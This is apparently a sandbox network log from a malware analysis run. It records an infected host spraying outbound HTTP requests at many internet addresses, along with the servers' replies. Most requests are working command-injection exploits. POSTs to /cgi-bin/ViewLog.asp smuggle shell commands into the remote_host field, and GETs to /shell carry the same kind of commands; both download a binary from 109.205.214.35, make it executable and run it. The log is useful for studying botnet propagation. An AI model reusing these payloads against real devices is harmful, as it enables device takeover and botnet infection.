Mar 21, 2024 05:18:23.477592945 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:23.631197929 CET	336	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 21 Mar 2024 04:18:23 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:23.631253004 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:23 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.23	51168	82.134.252.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.923758030 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:23.508148909 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.23	40698	178.21.132.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.929378033 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:23.508629084 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:23.695502996 CET	452	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:23 GMT Server: Apache Content-Length: 276 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.23	47740	203.24.102.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.348787069 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.23	46638	35.190.70.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.436671972 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:23.710000992 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.23	34882	213.25.100.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.907169104 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:24.572382927 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:25.212928057 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:26.421180010 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:28.980851889 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:33.844155073 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:43.570812941 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.23	48490	178.88.236.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.960176945 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:24.242615938 CET	29	IN	HTTP/1.1 200 OK
Mar 21, 2024 05:18:24.242630005 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.23	35606	200.114.57.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.076189995 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:25.208959103 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:25.404982090 CET	224	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Type: text/plain Server: proxygen-bolt Date: Thu, 21 Mar 2024 04:18:25 GMT Connection: keep-alive Content-Length: 0
